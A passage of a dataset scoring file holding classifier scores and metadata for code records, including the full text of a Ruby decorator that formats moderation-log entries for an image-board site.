0.20195924472806817}, "noise_severity": {"0": 0.9873506246850291, "1": 0.01131662984802432, "2": 0.0008316279821479712, "3": 0.0002875518089765253, "4": 0.0002135656758220677}, "missing_content_severity": {"0": 0.9816835322958872, "1": 0.011780190301573032, "2": 0.004917715641397327, "3": 0.0012519627058582739, "4": 0.0003665990552842679}, "factual_density": {"0": 0.003272470386150753, "1": 0.006712730037734672, "2": 0.0898666139158194, "3": 0.38201816151850737, "4": 0.5181300241417878}, "pretraining_utility": {"-2": 0.007127888940491681, "-1": 0.07259949660789565, "0": 0.4080866298932939, "1": 0.4340506478783887, "2": 0.0781353366799298}, "math_density": {"0": 0.9676973623904057, "1": 0.018507537161102715, "2": 0.002833357496964281, "3": 0.0027252875587510067, "4": 0.008236455392776575}, "code_density": {"0": 0.0003674798832185244, "1": 0.0007557763831531447, "2": 0.024161917754650358, "3": 0.22046376867581968, "4": 0.7542510573031582}, "reasoning_density": {"0": 0.48212319777681933, "1": 0.15038214525743657, "2": 0.1706144128180077, "3": 0.11253525067920715, "4": 0.08434499346852935}, "education_level": {"none": 0.0011892668557174216, "0": 0.0017290393823052549, "1": 0.018552689522783498, "2": 0.6835693139095975, "3": 0.26741503981330045, "4": 0.027544650516295968}, "creative_writing_quality": {"not_applicable": 0.9995493761842582, "-2": 5.193804045324076e-05, "-1": 0.00010546023359425345, "0": 0.00020460452058823696, "1": 6.500507541566612e-05, "2": 2.361594569036233e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.737529944361466e-05, "Art & Design": 5.0127133195113396e-05, "Law & Crime": 5.3166016590335536e-05, "Education & Careers": 3.998729011121823e-05, "Entertainment & Media": 2.659351853185064e-05, "Fashion & Beauty": 1.8629693710812736e-05, "Business, Economics & Finance": 5.692447422203692e-05, "Food & Dining": 2.9200470593127287e-05, "Games & Gaming": 7.646621067206306e-05, "Electronics & Hardware": 8.249015356205385e-05, "Health, Healthcare & Wellness": 2.8967484044718948e-05, "History & Geography": 2.9554652487822465e-05, "Home, Pets & Hobbies": 2.9956309170875732e-05, "Industry & Production": 3.324321469456122e-05, "Language, Literature & Philosophy": 0.000205813871642547, "Politics & Government": 2.5500333916515098e-05, "Religion & Spirituality": 3.780883581601717e-05, "Science, Mathematics & Engineering": 0.0036282467071212495, "Relationships & Community": 2.290289846239016e-05, "Software Usage & Applications": 0.0007465093638816803, "Programming & Software Engineering": 0.9936472677562125, "Sports & Fitness": 4.895534020679866e-05, "Vehicles & Transportation": 2.0147065608547002e-05, "Travel & Tourism": 4.776231328822267e-05, "Other / Uncovered Subject": 0.0008712559791682011, "Unknown / Insufficient Content": 0.00010514761364504853}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0002439406900389754, "Art & Design": 0.00019385669020233095, "Law & Crime": 0.00030201757966905903, "Education & Careers": 0.00016434009257422432, "Entertainment & Media": 0.0001565417953119909, "Fashion & Beauty": 8.624414551412203e-05, "Business, Economics & Finance": 0.0002318026539314509, "Food & Dining": 8.861869324307897e-05, "Games & Gaming": 0.00017441038444387098, "Electronics & Hardware": 0.00018206184279398067, "Health, Healthcare & Wellness": 0.00010947081401697567, "History & Geography": 9.262967186070085e-05, "Home, Pets & Hobbies": 7.687333284878031e-05, "Industry & Production": 7.353340190945257e-05, "Language, Literature & Philosophy": 0.0006570482468891292, "Politics & Government": 0.00010738361201929189, "Religion & Spirituality": 0.00012282671873151577, "Science, Mathematics & Engineering": 0.012131207756439057, "Relationships & Community": 7.039028582212027e-05, "Software Usage & Applications": 0.002217353971778705, "Programming & Software Engineering": 0.013902371515152464, "Sports & Fitness": 0.00010792373958304862, "Vehicles & Transportation": 4.393518877187233e-05, "Travel & Tourism": 0.00014257513913250655, "Other / Uncovered Subject": 0.0011354497252634677, "NONE": 0.9671851923120578}}, "probabilities": {"primary": {"Academic Writing": 2.1944512128110534e-05, "Content Listing": 1.0743171478522137e-05, "Creative Writing": 8.49937487115304e-06, "Customer Support Page": 6.932034260144014e-06, "Q&A Forum": 7.109170918585098e-06, "Discussion Thread": 4.513071380075002e-06, "Comment Section": 8.280382141357065e-06, "Missing Content": 1.68552005949326e-05, "Knowledge Article": 6.873839746582576e-05, "Legal Notices": 2.3990158367667808e-05, "News Article": 2.8026159340907393e-06, "Organizational Announcement": 6.629244450959108e-06, "Nonfiction Writing": 6.854714568348009e-06, "Organizational About Page": 7.759242945878e-06, "Personal About Page": 5.929907979927794e-06, "Personal Blog": 4.804263181162904e-06, "Product Page": 4.634636607632665e-06, "Spam / Ads": 5.771221828214176e-06, "Structured Data": 0.0005410668097183623, "Technical Writing": 0.9984058689933691, "Transcript / Interview": 8.529158404422443e-06, "Tutorial / How-To Guide": 9.974140897162484e-05, "User Reviews": 4.158587898210937e-06, "Other / Unknown": 0.0007178437205356405}, "secondary": {"Academic Writing": 9.545891250544469e-05, "Content Listing": 5.601067992108002e-05, "Creative Writing": 6.440681388349911e-05, "Customer Support Page": 4.9420413693260086e-05, "Q&A Forum": 2.7954813992713565e-05, "Discussion Thread": 2.5001125251480974e-05, "Comment Section": 0.00014791735165762933, "Missing Content": 0.00019025541060437156, "Knowledge Article": 0.000652459311647218, "Legal Notices": 0.0001289325980865895, "News Article": 3.995728561973133e-05, "Organizational Announcement": 4.296130422647576e-05, "Nonfiction Writing": 5.3092011497707686e-05, "Organizational About Page": 5.4130510073128725e-05, "Personal About Page": 3.63085431754266e-05, "Personal Blog": 5.4130122902934424e-05, "Product Page": 2.7905470335314134e-05, "Spam / Ads": 4.66375681165804e-05, "Structured Data": 0.002235916040635305, "Technical Writing": 0.010708442618830982, "Transcript / Interview": 4.359350589974889e-05, "Tutorial / How-To Guide": 0.0005568231201409924, "User Reviews": 2.1873790246050657e-05, "NONE": 0.9846404106770564}, "tertiary": {"Academic Writing": 5.553439567961798e-05, "Content Listing": 3.3401767116772334e-05, "Creative Writing": 4.564624782586277e-05, "Customer Support Page": 2.6525870603178207e-05, "Q&A Forum": 1.5626282688682076e-05, "Discussion Thread": 1.5038229557099103e-05, "Comment Section": 7.470137397624913e-05, "Missing Content": 0.00018588481512645883, "Knowledge Article": 0.00026631735237492657, "Legal Notices": 9.838127452597211e-05, "News Article": 2.622013536428809e-05, "Organizational Announcement": 2.5997511941744488e-05, "Nonfiction Writing": 3.562167019725378e-05, "Organizational About Page": 4.1938594793123334e-05, "Personal About Page": 2.2261909598449576e-05, "Personal Blog": 6.72257232853792e-05, "Product Page": 1.9032225127099844e-05, "Spam / Ads": 3.0447958606672484e-05, "Structured Data": 0.0008531246319323397, "Technical Writing": 0.003802251182288658, "Transcript / Interview": 2.5771211345625006e-05, "Tutorial / How-To Guide": 0.0004710316713755109, "User Reviews": 1.4051233662840885e-05, "NONE": 0.9937479667310062}, "structured_records": {"false": 0.9967374341375868, "true": 0.0032625658624132574}, "procedural_steps": {"false": 0.9866741250405475, "true": 0.013325874959452439}, "worked_solution": {"false": 0.9987091616093834, "true": 0.0012908383906166435}, "contextual_dialogue": {"false": 0.9999925256194354, "true": 7.474380564582272e-06}, "content_quality": {"-2": 0.008792475858949298, "-1": 0.039462079677360686, "0": 0.26269131147258473, "1": 0.48709488826303715, "2": 0.20195924472806817}, "noise_severity": {"0": 0.9873506246850291, "1": 0.01131662984802432, "2": 0.0008316279821479712, "3": 0.0002875518089765253, "4": 0.0002135656758220677}, "missing_content_severity": {"0": 0.981683532295887, "1": 0.011780190301573028, "2": 0.004917715641397326, "3": 0.0012519627058582737, "4": 0.0003665990552842678}, "factual_density": {"0": 0.003272470386150753, "1": 0.006712730037734672, "2": 0.0898666139158194, "3": 0.38201816151850737, "4": 0.5181300241417878}, "pretraining_utility": {"-2": 0.0071278889404916826, "-1": 0.07259949660789566, "0": 0.40808662989329403, "1": 0.4340506478783888, "2": 0.07813533667992982}, "math_density": {"0": 0.9676973623904055, "1": 0.018507537161102712, "2": 0.0028333574969642804, "3": 0.0027252875587510062, "4": 0.008236455392776574}, "code_density": {"0": 0.00036747988321852445, "1": 0.0007557763831531448, "2": 0.02416191775465036, "3": 0.2204637686758197, "4": 0.7542510573031583}, "reasoning_density": {"0": 0.48212319777681933, "1": 0.15038214525743657, "2": 0.1706144128180077, "3": 0.11253525067920715, "4": 0.08434499346852935}, "education_level": {"none": 0.0011892668557174216, "0": 0.0017290393823052549, "1": 0.018552689522783498, "2": 0.6835693139095975, "3": 0.26741503981330045, "4": 0.027544650516295968}, "creative_writing_quality": {"not_applicable": 0.9995493761842582, "-2": 5.193804045324076e-05, "-1": 0.00010546023359425345, "0": 0.00020460452058823696, "1": 6.500507541566612e-05, "2": 2.361594569036233e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.7375299443614666e-05, "Art & Design": 5.01271331951134e-05, "Law & Crime": 5.316601659033554e-05, "Education & Careers": 3.998729011121824e-05, "Entertainment & Media": 2.6593518531850644e-05, "Fashion & Beauty": 1.862969371081274e-05, "Business, Economics & Finance": 5.692447422203693e-05, "Food & Dining": 2.920047059312729e-05, "Games & Gaming": 7.646621067206307e-05, "Electronics & Hardware": 8.249015356205387e-05, "Health, Healthcare & Wellness": 2.896748404471895e-05, "History & Geography": 2.955465248782247e-05, "Home, Pets & Hobbies": 2.9956309170875735e-05, "Industry & Production": 3.324321469456123e-05, "Language, Literature & Philosophy": 0.00020581387164254702, "Politics & Government": 2.55003339165151e-05, "Religion & Spirituality": 3.7808835816017174e-05, "Science, Mathematics & Engineering": 0.00362824670712125, "Relationships & Community": 2.2902898462390165e-05, "Software Usage & Applications": 0.0007465093638816804, "Programming & Software Engineering": 0.9936472677562126, "Sports & Fitness": 4.895534020679867e-05, "Vehicles & Transportation": 2.0147065608547006e-05, "Travel & Tourism": 4.7762313288222676e-05, "Other / Uncovered Subject": 0.0008712559791682012, "Unknown / Insufficient Content": 0.00010514761364504854}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0002439406900389754, "Art & Design": 0.00019385669020233095, "Law & Crime": 0.00030201757966905903, "Education & Careers": 0.00016434009257422432, "Entertainment & Media": 0.0001565417953119909, "Fashion & Beauty": 8.624414551412203e-05, "Business, Economics & Finance": 0.0002318026539314509, "Food & Dining": 8.861869324307897e-05, "Games & Gaming": 0.00017441038444387098, "Electronics & Hardware": 0.00018206184279398067, "Health, Healthcare & Wellness": 0.00010947081401697567, "History & Geography": 9.262967186070085e-05, "Home, Pets & Hobbies": 7.687333284878031e-05, "Industry & Production": 7.353340190945257e-05, "Language, Literature & Philosophy": 0.0006570482468891292, "Politics & Government": 0.00010738361201929189, "Religion & Spirituality": 0.00012282671873151577, "Science, Mathematics & Engineering": 0.012131207756439057, "Relationships & Community": 7.039028582212027e-05, "Software Usage & Applications": 0.002217353971778705, "Programming & Software Engineering": 0.013902371515152464, "Sports & Fitness": 0.00010792373958304862, "Vehicles & Transportation": 4.393518877187233e-05, "Travel & Tourism": 0.00014257513913250655, "Other / Uncovered Subject": 0.0011354497252634677, "NONE": 0.9671851923120578}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 10115, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 10115, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:30:08.323401+00:00", "scoring_key_slot": "primary", "dataset_uid": "e5a20d7e-c691-477f-9a29-2ad813f88d47", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "e7c59bcb6b12839b1951f881c8d3d98662694d22391ffddc23c0a050083ad36e", "source_metadata": {"uuid": "e5a20d7e-c691-477f-9a29-2ad813f88d47", "repo_name": "Referly/msfl", "relative_path": "lib/msfl/validators/semantic.rb", "category": "TOOL", "algo_rel_score": 0.9548013806343079, "quality_score": 5.486782550811768, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 125, "repo_created_at": "2015-03-05T21:02:33.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 4, "forks": 0, "issues": 3, "pull_requests": 1}, "file_meta": {"content_id": "0a17246ea051700ba041f9ff66cad9d58be1a5b4", "size_bytes": 7469, "file_timestamp": 1432760310, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "28e14ba9051f10b14b78c529eedd5c4e96dee8d0"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 125, "repo_created_at": "2015-03-05T21:02:33.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 4, "forks": 0, "issues": 3, "pull_requests": 1}, "file_meta": {"content_id": "0a17246ea051700ba041f9ff66cad9d58be1a5b4", "size_bytes": 7469, "file_timestamp": 1432760310, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "28e14ba9051f10b14b78c529eedd5c4e96dee8d0", "url": "https://github.com/Referly/msfl/blob/28e14ba9051f10b14b78c529eedd5c4e96dee8d0/lib/msfl/validators/semantic.rb"}, "gpt4o_tokens": 1565, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.8339663463239142, "noise_severity": 0.01469680394253811, "missing_content_severity": 0.026837905923079577, "factual_density": 3.4050205389920465, "pretraining_utility": 0.5034660467493695, "math_density": 0.06529593640239059, "code_density": 3.7274751471325462, "reasoning_density": 1.1665966968051908, "education_level": 2.300851365115528, "creative_writing_quality": -0.21547762082772212}, "score_applicability": {"education_level": 0.9988107331442827, "creative_writing_quality": 0.0004506238157417596}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/Deer-Spangle/e621ng/blob/b4672dadeef12e7aa20401b6074bc7676bb23bbb/app/decorators/mod_action_decorator.rb", "id": "ruby-0-8d0dbe8f9f75578d3871553d02cc7b5b", "text": "class ModActionDecorator < ApplicationDecorator\n def self.collection_decorator_class\n PaginatedDecorator\n end\n\n delegate_all\n\n def format_description\n vals = object.values\n return \"\" if vals.nil?\n\n if vals['user_id']\n user = \"\\\"#{User.id_to_name(vals['user_id'])}\\\":/users/#{vals['user_id']}\"\n elsif vals['username']\n user = \"\\\"#{vals['username']}\\\":/users/?name=#{vals['username']}\"\n end\n\n case object.action\n ### Pools ###\n when \"pool_delete\"\n \"Deleted pool ##{vals['pool_id']} (named #{vals['pool_name']}) by #{user}\"\n when \"pool_undelete\"\n \"Undeleted pool ##{vals['pool_id']} (named #{vals['pool_name']}) by #{user}\"\n\n ### Takedowns ###\n when \"takedown_process\"\n \"Completed takedown ##{vals['takedown_id']}\"\n\n ### IP Ban ###\n when \"ip_ban_create\"\n \"Created ip ban\"\n when \"ip_ban_delete\"\n \"Removed ip ban\"\n\n ### Ticket ###\n when \"ticket_update\"\n \"Modified ticket ##{vals['ticket_id']}\"\n when \"ticket_claim\"\n \"Claimed ticket ##{vals['ticket_id']}\"\n when \"ticket_unclaim\"\n \"Unclaimed ticket ##{vals['ticket_id']}\"\n\n ### Artist ###\n when \"artist_page_rename\"\n \"Renamed artist page (\\\"#{vals['old_name']}\\\":/artists/show_or_new?name=#{vals['old_name']} -> \\\"#{vals['new_name']}\\\":/artists/show_or_new?name=#{vals['new_name']})\"\n when \"artist_page_lock\"\n \"Locked artist page artist ##{vals['artist_page']}\"\n when \"artist_page_unlock\"\n \"Unlocked artist page artist ##{vals['artist_page']}\"\n when \"artist_user_linked\"\n \"Linked #{user} to artist ##{vals['artist_page']}\"\n when \"artist_user_unlinked\"\n \"Unlinked #{user} from artist ##{vals['artist_page']}\"\n\n ### User ###\n\n when \"user_delete\"\n \"Deleted user #{user}\"\n when \"user_ban\"\n if vals['duration'].is_a?(Numeric) && vals['duration'] < 0\n \"Banned #{user} permanently\"\n elsif vals['duration']\n \"Banned #{user} for #{vals['duration']} #{vals['duration'] == 1 ? \"day\" : \"days\"}\"\n else\n \"Banned #{user}\"\n end\n when \"user_unban\"\n \"Unbanned #{user}\"\n\n when \"user_level_change\"\n \"Changed #{user} level from #{vals['level_was']} to #{vals['level']}\"\n when \"user_flags_change\"\n \"Changed #{user} flags. Added: [#{vals['added'].join(', ')}] Removed: [#{vals['removed'].join(', ')}]\"\n when \"edited_user\"\n \"Edited #{user}\"\n when \"user_blacklist_changed\"\n \"Edited blacklist of #{user}\"\n when \"changed_user_text\", \"user_text_change\"\n \"Changed profile text of #{user}\"\n when \"user_upload_limit_change\"\n \"Changed upload limit of #{user} from #{vals['old_upload_limit']} to #{vals['new_upload_limit']}\"\n when \"user_name_change\"\n \"Changed name of #{user} from #{vals['old_name']} to #{vals['new_name']}\"\n\n ### User Record ###\n\n when \"user_feedback_create\"\n \"Created #{vals['type'].capitalize} record ##{vals['record_id']} for #{user} with reason: #{vals['reason']}\"\n when \"user_feedback_update\"\n \"Edited #{vals['type']} record ##{vals['record_id']} for #{user} to: #{vals['reason']}\"\n when \"user_feedback_delete\"\n \"Deleted #{vals['type']} record ##{vals['record_id']} for #{user} with reason: #{vals['reason']}\"\n ### Legacy User Record ###\n when \"created_positive_record\"\n \"Created positive record ##{vals['record_id']} for #{user} with reason: #{vals['reason']}\"\n when \"created_neutral_record\"\n \"Created neutral record ##{vals['record_id']} for #{user} with reason: #{vals['reason']}\"\n when \"created_negative_record\"\n \"Created negative record ##{vals['record_id']} for #{user} with reason: #{vals['reason']}\"\n\n ### Set ###\n\n when \"set_change_visibility\"\n \"Made set ##{vals['set_id']} by #{user} #{vals['is_public'] ? 'public' : 'private'}\"\n when \"set_update\"\n \"Edited set ##{vals['set_id']} by #{user}\"\n when \"set_delete\"\n \"Deleted set ##{vals['set_id']} by #{user}\"\n\n ### Comment ###\n\n when \"comment_update\"\n \"Edited comment ##{vals['comment_id']} by #{user}\"\n when \"comment_delete\"\n \"Deleted comment ##{vals['comment_id']} by #{user}\"\n when \"comment_hide\"\n \"Hid comment ##{vals['comment_id']} by #{user}\"\n when \"comment_unhide\"\n \"Unhid comment ##{vals['comment_id']} by #{user}\"\n\n ### Forum Post ###\n\n when \"forum_post_delete\"\n \"Deleted forum ##{vals['forum_post_id']} in topic ##{vals['forum_topic_id']} by #{user}\"\n when \"forum_post_update\"\n \"Edited forum ##{vals['forum_post_id']} in topic ##{vals['forum_topic_id']} by #{user}\"\n when \"forum_post_hide\"\n \"Hid forum ##{vals['forum_post_id']} in topic ##{vals['forum_topic_id']} by #{user}\"\n when \"forum_post_unhide\"\n \"Unhid forum ##{vals['forum_post_id']} in topic ##{vals['forum_topic_id']} by #{user}\"\n when \"forum_topic_hide\"\n \"Hid topic ##{vals['forum_topic_id']} (with title #{vals['forum_topic_title']}) by #{user}\"\n when \"forum_topic_unhide\"\n \"Unhid topic ##{vals['forum_topic_id']} (with title #{vals['forum_topic_title']}) by #{user}\"\n when \"forum_topic_delete\"\n \"Deleted topic ##{vals['forum_topic_id']} (with title #{vals['forum_topic_title']}) by #{user}\"\n when \"forum_topic_stick\"\n \"Stickied topic ##{vals['forum_topic_id']} (with title #{vals['forum_topic_title']}) by #{user}\"\n when \"forum_topic_unstick\"\n \"Unstickied topic ##{vals['forum_topic_id']} (with title #{vals['forum_topic_title']}) by #{user}\"\n when \"forum_topic_lock\"\n \"Locked topic ##{vals['forum_topic_id']} (with title #{vals['forum_topic_title']}) by #{user}\"\n when \"forum_topic_unlock\"\n \"Unlocked topic ##{vals['forum_topic_id']} (with title #{vals['forum_topic_title']}) by #{user}\"\n\n ### Forum Category ###\n\n when \"forum_category_create\"\n \"Created forum category ##{vals['forum_category_id']}\"\n when \"forum_category_update\"\n \"Edited forum category ##{vals['forum_category_id']}\"\n when \"forum_category_delete\"\n \"Deleted forum category ##{vals['forum_category_id']}\"\n\n ### Blip ###\n\n when \"blip_update\"\n \"Edited blip ##{vals['blip_id']} by #{user}\"\n when \"blip_delete\"\n if vals['username']\n \"Deleted blip ##{vals['blip_id']} by #{user}\"\n else\n \"Deleted blip ##{vals['blip_id']}\"\n end\n when \"blip_hide\"\n if vals['username']\n \"Hid blip ##{vals['blip_id']} by #{user}\"\n else\n \"Hid blip ##{vals['blip_id']}\"\n end\n when \"blip_unhide\"\n \"Unhid blip ##{vals['blip_id']} by #{user}\"\n\n ### Alias ###\n\n when \"tag_alias_create\"\n if vals[:tag1]\n \"Created tag alias ({{#{vals[:tag1]}}} → {{#{vals[:tag2]}}})\"\n else\n \"Created tag alias #{vals['alias_desc']}\"\n end\n when \"tag_alias_approve\"\n if vals[:tag1]\n \"Approved tag alias ({{#{vals[:tag1]}}} → {{#{vals[:tag2]}}})\"\n else\n end\n when \"tag_alias_delete\"\n if vals[:tag1]\n \"Deleted tag alias ({{#{vals[:tag1]}}} → {{#{vals[:tag2]}}})\"\n else\n end\n when \"tag_alias_update\"\n if vals[:tag1]\n \"Edited tag alias ({{#{vals[:oldtag1]}}} → {{#{vals[:oldtag2]}}}) to ({{#{vals[:tag1]}}} → {{#{vals[:tag2]}}})\"\n else\n \"Updated tag alias #{vals['alias_desc']}\\n#{vals['change_desc']}\"\n end\n\n ### Implication ###\n\n when \"tag_implication_create\"\n if vals[:tag1]\n \"Created tag implication ({{#{vals[:tag1]}}} → {{#{vals[:tag2]}}})\"\n else\n \"Created tag implication #{vals['implication_desc']}\"\n end\n when \"tag_implication_approve\"\n if vals[:tag1]\n \"Approved tag implication ({{#{vals[:tag1]}}} → {{#{vals[:tag2]}}})\"\n else\n end\n when \"tag_implicaton_delete\"\n if vals[:tag1]\n \"Deleted tag implication ({{#{vals[:tag1]}}} → {{#{vals[:tag2]}}})\"\n else\n end\n when \"tag_implication_update\"\n if vals[:tag1]\n \"Edited tag implication ({{#{vals[:oldtag1]}}} → {{#{vals[:oldtag2]}}}) to ({{#{vals[:tag1]}}} → {{#{vals[:tag2]}}})\"\n else\n \"Updated tag implication #{vals['implication_desc']}\\n#{vals['change_desc']}\"\n end\n\n ### Flag Reason ###\n\n when \"created_flag_reason\"\n \"Created flag reason ##{vals['flag_reason_id']} (#{vals['flag_reason']})\"\n when \"edited_flag_reason\"\n \"Edited flag reason ##{vals['flag_reason_id']} (#{vals['flag_reason']})\"\n when \"deleted_flag_reason\"\n \"Deleted flag reason ##{vals['flag_reason_id']} (#{vals['flag_reason']})\"\n\n ### Post Report Reasons ###\n\n when \"report_reason_create\"\n \"Created post report reason #{vals['reason']}\"\n when \"report_reason_update\"\n \"Edited post report reason #{vals['reason_was']} to #{vals['reason']}\"\n when \"report_reason_delete\"\n \"Deleted post report reason #{vals['reason']} by #{user}\"\n\n ### Whitelist ###\n\n when \"upload_whitelist_create\"\n if vals['hidden'] && !CurrentUser.is_admin?\n \"Created whitelist entry\"\n else\n \"Created whitelist entry '#{CurrentUser.is_admin? ? vals['pattern'] : vals['note']}'\"\n end\n\n when \"upload_whitelist_update\"\n if vals['hidden'] && !CurrentUser.is_admin?\n \"Edited whitelist entry\"\n else\n if vals['old_pattern'] && vals['old_pattern'] != vals['pattern'] && CurrentUser.is_admin?\n \"Edited whitelist entry '#{vals['old_pattern']}' -> '#{vals['pattern']}'\"\n else\n \"Edited whitelist entry '#{CurrentUser.is_admin? ? vals['pattern'] : vals['note']}'\"\n end\n end\n\n when \"upload_whitelist_delete\"\n if vals['hidden'] && !CurrentUser.is_admin?\n \"Deleted whitelist entry\"\n else\n \"Deleted whitelist entry '#{CurrentUser.is_admin? ? vals['pattern'] : vals['note']}'\"\n end\n\n ### Help ###\n\n when \"help_create\"\n \"Created help entry \\\"#{vals['name']}\\\":/help/#{HelpPage.normalize_name(vals['name'])} ([[#{vals['wiki_page']}]])\"\n when \"help_update\"\n \"Edited help entry \\\"#{vals['name']}\\\":/help/#{HelpPage.normalize_name(vals['name'])} ([[#{vals['wiki_page']}]])\"\n when \"help_delete\"\n \"Deleted help entry \\\"#{vals['name']}\\\":/help/#{HelpPage.normalize_name(vals['name'])} ([[#{vals['wiki_page']}]])\"\n\n ### Wiki ###\n when \"wiki_page_delete\"\n \"Deleted wiki page [[#{vals['wiki_page']}]]\"\n when \"wiki_page_undelete\"\n \"Undeleted wiki page [[#{vals['wiki_page']}\"\n when \"wiki_page_lock\"\n \"Locked wiki page [[#{vals['wiki_page']}]]\"\n when \"wiki_page_unlock\"\n \"Unlocked wiki page [[#{vals['wiki_page']}]]\"\n when \"wiki_page_rename\"\n \"Renamed wiki page ([[#{vals['old_title']}]] → [[#{vals['new_title']}]])\"\n\n when \"bulk_revert\"\n \"Processed bulk revert for #{vals['constraints']} by #{user}\"\n\n ### Legacy Post Events ###\n when \"post_move_favorites\"\n \"Moves favorites from post ##{vals['post_id']} to post ##{vals['parent_id']}\"\n when \"post_delete\"\n \"Deleted post ##{vals['post_id']} with reason: #{vals['reason']}\"\n when \"post_undelete\"\n \"Undeleted post ##{vals['post_id']}\"\n when \"post_destroy\"\n \"Destroyed post ##{vals['post_id']}\"\n when \"post_rating_lock\"\n \"Post rating was #{vals['locked'] ? 'locked' : 'unlocked'} on post ##{vals['post_id']}\"\n when \"post_unapprove\"\n \"Unapproved post ##{vals['post_id']}\"\n\n when \"post_replacement_accept\"\n \"Post replacement for post ##{vals['post_id']} was accepted\"\n when \"post_replacement_reject\"\n \"Post replacement for post ##{vals['post_id']} was rejected\"\n when \"post_replacement_delete\"\n \"Post replacement for post ##{vals['post_id']} was deleted\"\n\n else\n CurrentUser.is_admin? ? \"Unknown action #{object.action}: #{object.values.inspect}\" : \"Unknown action #{object.action}\"\n end\n end\nend\n", "text_preview": "class ModActionDecorator < ApplicationDecorator def self.collection_decorator_class PaginatedDecorator end delegate_all def format_description vals = object.values return \"\" if vals.nil? if vals['user_id'] user = \"\\\"#{User.id_to_name(vals['", "input_sha256": "3c5f83915f1dd81207ff449ccd86993fa1e3a5d8105805d8d64155800c889ebd", "text_sha256": "8d0dbe8f9f75578d3871553d02cc7b5bfa85d23d5d663d5cf320d1c747bf1a97", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16020, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.7350771407015632, "noise_severity": 0.034204470193157116, "missing_content_severity": 0.07798826092028163, "factual_density": 3.3574447172630806, "pretraining_utility": 0.24746926077414913, "math_density": 0.014901799091219223, "code_density": 3.9229412135224013, 